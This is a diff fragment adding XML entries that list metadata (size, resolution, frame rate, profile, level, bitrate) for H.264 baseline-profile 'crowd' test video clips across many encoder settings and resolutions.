+  <entry key="h264/yuv420/8bit/bp/params/crowd_3840x2160p50f32/crowd_3840x2160p50f32_qlty51_bp.mp4">
+    <value>mime=video/avc,size=208221,width=3840,height=2160,frame-rate=50,profile=8,level=65536,bitrate=2586760,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/params/crowd_3840x2160p50f32/crowd_3840x2160p50f32_qp47cqp12_bp.mp4">
+    <value>mime=video/avc,size=687613,width=3840,height=2160,frame-rate=50,profile=8,level=65536,bitrate=8579160,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/params/crowd_3840x2160p50f32/crowd_3840x2160p50f32_qp51_bp.mp4">
+    <value>mime=video/avc,size=474925,width=3840,height=2160,frame-rate=50,profile=8,level=65536,bitrate=5920560,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/params/crowd_3840x2160p50f32/crowd_3840x2160p50f32_qp51cqp6_bp.mp4">
+    <value>mime=video/avc,size=471285,width=3840,height=2160,frame-rate=50,profile=8,level=65536,bitrate=5875056,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/params/crowd_640x360p50f32/crowd_640x360p50f32_100kbps_bp.mp4">
+    <value>mime=video/avc,size=7419,width=640,height=360,frame-rate=50,profile=8,level=512,bitrate=76872,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/params/crowd_640x360p50f32/crowd_640x360p50f32_10mbps_bp.mp4">
+    <value>mime=video/avc,size=805138,width=640,height=360,frame-rate=50,profile=8,level=1024,bitrate=10048336,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/params/crowd_640x360p50f32/crowd_640x360p50f32_16x16part_bp.mp4">
+    <value>mime=video/avc,size=304340,width=640,height=360,frame-rate=50,profile=8,level=512,bitrate=3788360,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/params/crowd_640x360p50f32/crowd_640x360p50f32_1mbps_bp.mp4">
+    <value>mime=video/avc,size=74849,width=640,height=360,frame-rate=50,profile=8,level=512,bitrate=919720,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/params/crowd_640x360p50f32/crowd_640x360p50f32_20mbps_bp.mp4">
+    <value>mime=video/avc,size=1632338,width=640,height=360,frame-rate=50,profile=8,level=4096,bitrate=20388360,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/params/crowd_640x360p50f32/crowd_640x360p50f32_500kbps_bp.mp4">
+    <value>mime=video/avc,size=36027,width=640,height=360,frame-rate=50,profile=8,level=512,bitrate=434448,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/params/crowd_640x360p50f32/crowd_640x360p50f32_5mbps_bp.mp4">
+    <value>mime=video/avc,size=397368,width=640,height=360,frame-rate=50,profile=8,level=512,bitrate=4951208,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/params/crowd_640x360p50f32/crowd_640x360p50f32_allpart_bp.mp4">
+    <value>mime=video/avc,size=276601,width=640,height=360,frame-rate=50,profile=8,level=512,bitrate=3441648,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/params/crowd_640x360p50f32/crowd_640x360p50f32_alpha6beta6_bp.mp4">
+    <value>mime=video/avc,size=296629,width=640,height=360,frame-rate=50,profile=8,level=512,bitrate=3692000,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/params/crowd_640x360p50f32/crowd_640x360p50f32_alpha6betam6_bp.mp4">
+    <value>mime=video/avc,size=282424,width=640,height=360,frame-rate=50,profile=8,level=512,bitrate=3514400,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/params/crowd_640x360p50f32/crowd_640x360p50f32_alpham6beta6_bp.mp4">
+    <value>mime=video/avc,size=282490,width=640,height=360,frame-rate=50,profile=8,level=512,bitrate=3515224,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/params/crowd_640x360p50f32/crowd_640x360p50f32_alpham6betam6_bp.mp4">
+    <value>mime=video/avc,size=281207,width=640,height=360,frame-rate=50,profile=8,level=512,bitrate=3499184,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/params/crowd_640x360p50f32/crowd_640x360p50f32_aud_bp.mp4">
+    <value>mime=video/avc,size=281583,width=640,height=360,frame-rate=50,profile=8,level=512,bitrate=3503880,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/params/crowd_640x360p50f32/crowd_640x360p50f32_cnstintra_bp.mp4">
+    <value>mime=video/avc,size=281641,width=640,height=360,frame-rate=50,profile=8,level=512,bitrate=3504608,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/params/crowd_640x360p50f32/crowd_640x360p50f32_fast_bp.mp4">
+    <value>mime=video/avc,size=275991,width=640,height=360,frame-rate=50,profile=8,level=512,bitrate=3434000,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/params/crowd_640x360p50f32/crowd_640x360p50f32_faster_bp.mp4">
+    <value>mime=video/avc,size=270716,width=640,height=360,frame-rate=50,profile=8,level=512,bitrate=3368072,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/params/crowd_640x360p50f32/crowd_640x360p50f32_intra16_bp.mp4">
+    <value>mime=video/avc,size=312716,width=640,height=360,frame-rate=50,profile=8,level=512,bitrate=3892296,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/params/crowd_640x360p50f32/crowd_640x360p50f32_intra1_bp.mp4">
+    <value>mime=video/avc,size=575979,width=640,height=360,frame-rate=50,profile=8,level=512,bitrate=7187800,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/params/crowd_640x360p50f32/crowd_640x360p50f32_intra2_bp.mp4">
+    <value>mime=video/avc,size=726228,width=640,height=360,frame-rate=50,profile=8,level=512,bitrate=9064848,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/params/crowd_640x360p50f32/crowd_640x360p50f32_intra300_bp.mp4">
+    <value>mime=video/avc,size=281864,width=640,height=360,frame-rate=50,profile=8,level=512,bitrate=3507408,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/params/crowd_640x360p50f32/crowd_640x360p50f32_medium_bp.mp4">
+    <value>mime=video/avc,size=281576,width=640,height=360,frame-rate=50,profile=8,level=512,bitrate=3503808,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/params/crowd_640x360p50f32/crowd_640x360p50f32_nodblk_bp.mp4">
+    <value>mime=video/avc,size=282012,width=640,height=360,frame-rate=50,profile=8,level=512,bitrate=3509272,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/params/crowd_640x360p50f32/crowd_640x360p50f32_placebo_bp.mp4">
+    <value>mime=video/avc,size=272438,width=640,height=360,frame-rate=50,profile=8,level=512,bitrate=3389544,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/params/crowd_640x360p50f32/crowd_640x360p50f32_qlty16_bp.mp4">
+    <value>mime=video/avc,size=728091,width=640,height=360,frame-rate=50,profile=8,level=512,bitrate=9085232,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/params/crowd_640x360p50f32/crowd_640x360p50f32_qlty51_bp.mp4">
+    <value>mime=video/avc,size=6912,width=640,height=360,frame-rate=50,profile=8,level=512,bitrate=70496,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/params/crowd_640x360p50f32/crowd_640x360p50f32_qp16_bp.mp4">
+    <value>mime=video/avc,size=1886842,width=640,height=360,frame-rate=50,profile=8,level=512,bitrate=23569720,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/params/crowd_640x360p50f32/crowd_640x360p50f32_qp47cqp12_bp.mp4">
+    <value>mime=video/avc,size=30222,width=640,height=360,frame-rate=50,profile=8,level=512,bitrate=361984,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/params/crowd_640x360p50f32/crowd_640x360p50f32_qp51_bp.mp4">
+    <value>mime=video/avc,size=17887,width=640,height=360,frame-rate=50,profile=8,level=512,bitrate=207784,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/params/crowd_640x360p50f32/crowd_640x360p50f32_qp51cqp6_bp.mp4">
+    <value>mime=video/avc,size=17710,width=640,height=360,frame-rate=50,profile=8,level=512,bitrate=205568,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/params/crowd_640x360p50f32/crowd_640x360p50f32_ref16_bp.mp4">
+    <value>mime=video/avc,size=280343,width=640,height=360,frame-rate=50,profile=8,level=512,bitrate=3488384,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/params/crowd_640x360p50f32/crowd_640x360p50f32_ref1_bp.mp4">
+    <value>mime=video/avc,size=281711,width=640,height=360,frame-rate=50,profile=8,level=512,bitrate=3505496,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/params/crowd_640x360p50f32/crowd_640x360p50f32_ref4_bp.mp4">
+    <value>mime=video/avc,size=282289,width=640,height=360,frame-rate=50,profile=8,level=512,bitrate=3512712,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/params/crowd_640x360p50f32/crowd_640x360p50f32_sfast_bp.mp4">
+    <value>mime=video/avc,size=277516,width=640,height=360,frame-rate=50,profile=8,level=512,bitrate=3452968,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/params/crowd_640x360p50f32/crowd_640x360p50f32_slow_bp.mp4">
+    <value>mime=video/avc,size=283742,width=640,height=360,frame-rate=50,profile=8,level=512,bitrate=3530880,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/params/crowd_640x360p50f32/crowd_640x360p50f32_slower_bp.mp4">
+    <value>mime=video/avc,size=281146,width=640,height=360,frame-rate=50,profile=8,level=512,bitrate=3498424,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/params/crowd_640x360p50f32/crowd_640x360p50f32_spsppsid1_bp.mp4">
+    <value>mime=video/avc,size=281548,width=640,height=360,frame-rate=50,profile=8,level=512,bitrate=3503480,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/params/crowd_640x360p50f32/crowd_640x360p50f32_spsppsid31_bp.mp4">
+    <value>mime=video/avc,size=281583,width=640,height=360,frame-rate=50,profile=8,level=512,bitrate=3503880,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/params/crowd_640x360p50f32/crowd_640x360p50f32_ufast_bp.mp4">
+    <value>mime=video/avc,size=721684,width=640,height=360,frame-rate=50,profile=1,level=512,bitrate=9008920,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/params/crowd_640x360p50f32/crowd_640x360p50f32_vfast_bp.mp4">
+    <value>mime=video/avc,size=261816,width=640,height=360,frame-rate=50,profile=8,level=512,bitrate=3256824,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/params/crowd_640x360p50f32/crowd_640x360p50f32_vslow_bp.mp4">
+    <value>mime=video/avc,size=271458,width=640,height=360,frame-rate=50,profile=8,level=512,bitrate=3377296,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/params/crowd_854x480p50f32/crowd_854x480p50f32_100kbps_bp.mp4">
+    <value>mime=video/avc,size=9142,width=854,height=480,frame-rate=50,profile=8,level=512,bitrate=98408,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/params/crowd_854x480p50f32/crowd_854x480p50f32_10mbps_bp.mp4">
+    <value>mime=video/avc,size=857407,width=854,height=480,frame-rate=50,profile=8,level=1024,bitrate=10701696,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/params/crowd_854x480p50f32/crowd_854x480p50f32_16x16part_bp.mp4">
+    <value>mime=video/avc,size=493461,width=854,height=480,frame-rate=50,profile=8,level=512,bitrate=6152368,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/params/crowd_854x480p50f32/crowd_854x480p50f32_1mbps_bp.mp4">
+    <value>mime=video/avc,size=77852,width=854,height=480,frame-rate=50,profile=8,level=512,bitrate=957256,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/params/crowd_854x480p50f32/crowd_854x480p50f32_20mbps_bp.mp4">
+    <value>mime=video/avc,size=1740028,width=854,height=480,frame-rate=50,profile=8,level=4096,bitrate=21734480,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/params/crowd_854x480p50f32/crowd_854x480p50f32_500kbps_bp.mp4">
+    <value>mime=video/avc,size=37258,width=854,height=480,frame-rate=50,profile=8,level=512,bitrate=449832,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/params/crowd_854x480p50f32/crowd_854x480p50f32_5mbps_bp.mp4">
+    <value>mime=video/avc,size=422728,width=854,height=480,frame-rate=50,profile=8,level=512,bitrate=5268208,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/params/crowd_854x480p50f32/crowd_854x480p50f32_allpart_bp.mp4">
+    <value>mime=video/avc,size=453636,width=854,height=480,frame-rate=50,profile=8,level=512,bitrate=5654584,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/params/crowd_854x480p50f32/crowd_854x480p50f32_alpha6beta6_bp.mp4">
+    <value>mime=video/avc,size=477306,width=854,height=480,frame-rate=50,profile=8,level=512,bitrate=5950456,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/params/crowd_854x480p50f32/crowd_854x480p50f32_alpha6betam6_bp.mp4">
+    <value>mime=video/avc,size=460011,width=854,height=480,frame-rate=50,profile=8,level=512,bitrate=5734232,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/params/crowd_854x480p50f32/crowd_854x480p50f32_alpham6beta6_bp.mp4">
+    <value>mime=video/avc,size=460369,width=854,height=480,frame-rate=50,profile=8,level=512,bitrate=5738712,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/params/crowd_854x480p50f32/crowd_854x480p50f32_alpham6betam6_bp.mp4">
+    <value>mime=video/avc,size=460223,width=854,height=480,frame-rate=50,profile=8,level=512,bitrate=5736880,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/params/crowd_854x480p50f32/crowd_854x480p50f32_aud_bp.mp4">
+    <value>mime=video/avc,size=460090,width=854,height=480,frame-rate=50,profile=8,level=512,bitrate=5735224,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/params/crowd_854x480p50f32/crowd_854x480p50f32_cnstintra_bp.mp4">
+    <value>mime=video/avc,size=459506,width=854,height=480,frame-rate=50,profile=8,level=512,bitrate=5727920,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/params/crowd_854x480p50f32/crowd_854x480p50f32_intra16_bp.mp4">
+    <value>mime=video/avc,size=506793,width=854,height=480,frame-rate=50,profile=8,level=512,bitrate=6318256,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/params/crowd_854x480p50f32/crowd_854x480p50f32_intra1_bp.mp4">
+    <value>mime=video/avc,size=951237,width=854,height=480,frame-rate=50,profile=8,level=512,bitrate=11878520,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/params/crowd_854x480p50f32/crowd_854x480p50f32_intra2_bp.mp4">
+    <value>mime=video/avc,size=1164148,width=854,height=480,frame-rate=50,profile=8,level=512,bitrate=14538848,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/params/crowd_854x480p50f32/crowd_854x480p50f32_intra300_bp.mp4">
+    <value>mime=video/avc,size=461418,width=854,height=480,frame-rate=50,profile=8,level=512,bitrate=5751832,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/params/crowd_854x480p50f32/crowd_854x480p50f32_nodblk_bp.mp4">
+    <value>mime=video/avc,size=460452,width=854,height=480,frame-rate=50,profile=8,level=512,bitrate=5739768,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/params/crowd_854x480p50f32/crowd_854x480p50f32_placebo_bp.mp4">
+    <value>mime=video/avc,size=451986,width=854,height=480,frame-rate=50,profile=8,level=2048,bitrate=5633896,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/params/crowd_854x480p50f32/crowd_854x480p50f32_qlty16_bp.mp4">
+    <value>mime=video/avc,size=1173199,width=854,height=480,frame-rate=50,profile=8,level=512,bitrate=14649080,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/params/crowd_854x480p50f32/crowd_854x480p50f32_qlty51_bp.mp4">
+    <value>mime=video/avc,size=10607,width=854,height=480,frame-rate=50,profile=8,level=512,bitrate=116680,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/params/crowd_854x480p50f32/crowd_854x480p50f32_qp47cqp12_bp.mp4">
+    <value>mime=video/avc,size=48766,width=854,height=480,frame-rate=50,profile=8,level=512,bitrate=593680,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/params/crowd_854x480p50f32/crowd_854x480p50f32_qp51_bp.mp4">
+    <value>mime=video/avc,size=28667,width=854,height=480,frame-rate=50,profile=8,level=512,bitrate=342432,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/params/crowd_854x480p50f32/crowd_854x480p50f32_qp51cqp6_bp.mp4">
+    <value>mime=video/avc,size=28089,width=854,height=480,frame-rate=50,profile=8,level=512,bitrate=335208,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/params/crowd_854x480p50f32/crowd_854x480p50f32_ref16_bp.mp4">
+    <value>mime=video/avc,size=457790,width=854,height=480,frame-rate=50,profile=8,level=2048,bitrate=5706472,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/params/crowd_854x480p50f32/crowd_854x480p50f32_ref1_bp.mp4">
+    <value>mime=video/avc,size=461396,width=854,height=480,frame-rate=50,profile=8,level=512,bitrate=5751560,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/params/crowd_854x480p50f32/crowd_854x480p50f32_ref4_bp.mp4">
+    <value>mime=video/avc,size=460091,width=854,height=480,frame-rate=50,profile=8,level=512,bitrate=5735232,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/params/crowd_854x480p50f32/crowd_854x480p50f32_slower_bp.mp4">
+    <value>mime=video/avc,size=461910,width=854,height=480,frame-rate=50,profile=8,level=512,bitrate=5757968,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/params/crowd_854x480p50f32/crowd_854x480p50f32_spsppsid1_bp.mp4">
+    <value>mime=video/avc,size=460055,width=854,height=480,frame-rate=50,profile=8,level=512,bitrate=5734824,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/params/crowd_854x480p50f32/crowd_854x480p50f32_spsppsid31_bp.mp4">
+    <value>mime=video/avc,size=460090,width=854,height=480,frame-rate=50,profile=8,level=512,bitrate=5735224,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/params/crowd_854x480p50f32/crowd_854x480p50f32_ufast_bp.mp4">
+    <value>mime=video/avc,size=1202579,width=854,height=480,frame-rate=50,profile=1,level=512,bitrate=15020112,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/params/crowd_854x480p50f32/crowd_854x480p50f32_vslow_bp.mp4">
+    <value>mime=video/avc,size=445203,width=854,height=480,frame-rate=50,profile=8,level=2048,bitrate=5549112,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/resolutions/crowd_1024x1024p50f32_4100kbps_bp.mp4">
+    <value>mime=video/avc,size=372767,width=1024,height=1024,frame-rate=50,profile=1,level=1024,bitrate=4647456,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/resolutions/crowd_1024x576p50f32_2300kbps_bp.mp4">
+    <value>mime=video/avc,size=200037,width=1024,height=576,frame-rate=50,profile=1,level=1024,bitrate=2488344,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/resolutions/crowd_1024x768p50f32_3100kbps_bp.mp4">
+    <value>mime=video/avc,size=276146,width=1024,height=768,frame-rate=50,profile=1,level=1024,bitrate=3439712,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/resolutions/crowd_1080x1440p50f32_6200kbps_bp.mp4">
+    <value>mime=video/avc,size=582607,width=1080,height=1440,frame-rate=50,profile=1,level=8192,bitrate=7270448,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/resolutions/crowd_1080x16p50f32_200kbps_bp.mp4">
+    <value>mime=video/avc,size=13495,width=1080,height=16,frame-rate=50,profile=1,level=64,bitrate=156584,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/resolutions/crowd_1080x1920p50f32_8200kbps_bp.mp4">
+    <value>mime=video/avc,size=781804,width=1080,height=1920,frame-rate=50,profile=1,level=8192,bitrate=9760408,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/resolutions/crowd_1080x64p50f32_200kbps_bp.mp4">
+    <value>mime=video/avc,size=13929,width=1080,height=64,frame-rate=50,profile=1,level=64,bitrate=161984,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/resolutions/crowd_1088x1920p50f32_8300kbps_bp.mp4">
+    <value>mime=video/avc,size=791591,width=1088,height=1920,frame-rate=50,profile=1,level=8192,bitrate=9882760,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/resolutions/crowd_1152x2048p50f32_9400kbps_bp.mp4">
+    <value>mime=video/avc,size=914636,width=1152,height=2048,frame-rate=50,profile=1,level=16384,bitrate=11420824,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/resolutions/crowd_1280x1280p50f32_6500kbps_bp.mp4">
+    <value>mime=video/avc,size=588341,width=1280,height=1280,frame-rate=50,profile=1,level=8192,bitrate=7342136,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/resolutions/crowd_1280x16p50f32_200kbps_bp.mp4">
+    <value>mime=video/avc,size=13278,width=1280,height=16,frame-rate=50,profile=1,level=128,bitrate=153880,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/resolutions/crowd_1280x1920p50f32_9800kbps_bp.mp4">
+    <value>mime=video/avc,size=956898,width=1280,height=1920,frame-rate=50,profile=1,level=16384,bitrate=11949096,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/resolutions/crowd_1280x64p50f32_300kbps_bp.mp4">
+    <value>mime=video/avc,size=21525,width=1280,height=64,frame-rate=50,profile=1,level=128,bitrate=256944,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/resolutions/crowd_1280x720p50f32_3600kbps_bp.mp4">
+    <value>mime=video/avc,size=327741,width=1280,height=720,frame-rate=50,profile=1,level=1024,bitrate=4084648,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/resolutions/crowd_1280x960p50f32_4900kbps_bp.mp4">
+    <value>mime=video/avc,size=454069,width=1280,height=960,frame-rate=50,profile=1,level=2048,bitrate=5663744,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/resolutions/crowd_128x128p50f32_200kbps_bp.mp4">
+    <value>mime=video/avc,size=13123,width=128,height=128,frame-rate=50,profile=1,level=16,bitrate=151944,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/resolutions/crowd_128x192p50f32_200kbps_bp.mp4">
+    <value>mime=video/avc,size=13547,width=128,height=192,frame-rate=50,profile=1,level=16,bitrate=157248,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/resolutions/crowd_128x72p50f32_200kbps_bp.mp4">
+    <value>mime=video/avc,size=12585,width=128,height=72,frame-rate=50,profile=1,level=16,bitrate=145200,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/resolutions/crowd_128x96p50f32_200kbps_bp.mp4">
+    <value>mime=video/avc,size=13018,width=128,height=96,frame-rate=50,profile=1,level=16,bitrate=150624,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/resolutions/crowd_1440x1080p50f32_6200kbps_bp.mp4">
+    <value>mime=video/avc,size=591640,width=1440,height=1080,frame-rate=50,profile=1,level=8192,bitrate=7383360,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/resolutions/crowd_1440x1440p50f32_8200kbps_bp.mp4">
+    <value>mime=video/avc,size=774133,width=1440,height=1440,frame-rate=50,profile=1,level=8192,bitrate=9664536,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/resolutions/crowd_1440x1920p50f32_11000kbps_bp.mp4">
+    <value>mime=video/avc,size=1094082,width=1440,height=1920,frame-rate=50,profile=1,level=16384,bitrate=13663896,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/resolutions/crowd_1440x2560p50f32_14700kbps_bp.mp4">
+    <value>mime=video/avc,size=1360104,width=1440,height=2560,frame-rate=50,profile=1,level=32768,bitrate=16989168,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/resolutions/crowd_1440x960p50f32_5500kbps_bp.mp4">
+    <value>mime=video/avc,size=518511,width=1440,height=960,frame-rate=50,profile=1,level=8192,bitrate=6469272,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/resolutions/crowd_144x144p50f32_200kbps_bp.mp4">
+    <value>mime=video/avc,size=13183,width=144,height=144,frame-rate=50,profile=1,level=16,bitrate=152696,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/resolutions/crowd_144x176p50f32_200kbps_bp.mp4">
+    <value>mime=video/avc,size=13598,width=144,height=176,frame-rate=50,profile=1,level=16,bitrate=157880,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/resolutions/crowd_144x192p50f32_200kbps_bp.mp4">
+    <value>mime=video/avc,size=13579,width=144,height=192,frame-rate=50,profile=1,level=16,bitrate=157648,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/resolutions/crowd_144x256p50f32_200kbps_bp.mp4">
+    <value>mime=video/avc,size=13643,width=144,height=256,frame-rate=50,profile=1,level=16,bitrate=158432,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/resolutions/crowd_144x96p50f32_200kbps_bp.mp4">
+    <value>mime=video/avc,size=13137,width=144,height=96,frame-rate=50,profile=1,level=16,bitrate=152112,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/resolutions/crowd_1536x2048p50f32_12500kbps_bp.mp4">
+    <value>mime=video/avc,size=1273812,width=1536,height=2048,frame-rate=50,profile=1,level=32768,bitrate=15910520,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/resolutions/crowd_160x240p50f32_200kbps_bp.mp4">
+    <value>mime=video/avc,size=13683,width=160,height=240,frame-rate=50,profile=1,level=16,bitrate=158944,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/resolutions/crowd_16x1080p50f32_200kbps_bp.mp4">
+    <value>mime=video/avc,size=13341,width=16,height=1080,frame-rate=50,profile=1,level=64,bitrate=154656,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/resolutions/crowd_16x1280p50f32_200kbps_bp.mp4">
+    <value>mime=video/avc,size=13359,width=16,height=1280,frame-rate=50,profile=1,level=128,bitrate=154896,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/resolutions/crowd_16x16p50f32_200kbps_bp.mp4">
+    <value>mime=video/avc,size=5193,width=16,height=16,frame-rate=50,profile=1,level=16,bitrate=52824,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/resolutions/crowd_16x1920p50f32_200kbps_bp.mp4">
+    <value>mime=video/avc,size=13788,width=16,height=1920,frame-rate=50,profile=1,level=512,bitrate=160256,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/resolutions/crowd_16x720p50f32_200kbps_bp.mp4">
+    <value>mime=video/avc,size=13311,width=16,height=720,frame-rate=50,profile=1,level=16,bitrate=154280,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/resolutions/crowd_176x144p50f32_200kbps_bp.mp4">
+    <value>mime=video/avc,size=13097,width=176,height=144,frame-rate=50,profile=1,level=16,bitrate=151624,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/resolutions/crowd_176x176p50f32_200kbps_bp.mp4">
+    <value>mime=video/avc,size=13645,width=176,height=176,frame-rate=50,profile=1,level=16,bitrate=158472,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/resolutions/crowd_176x96p50f32_200kbps_bp.mp4">
+    <value>mime=video/avc,size=12950,width=176,height=96,frame-rate=50,profile=1,level=16,bitrate=149768,max-bitrate=</value>
+  </entry>
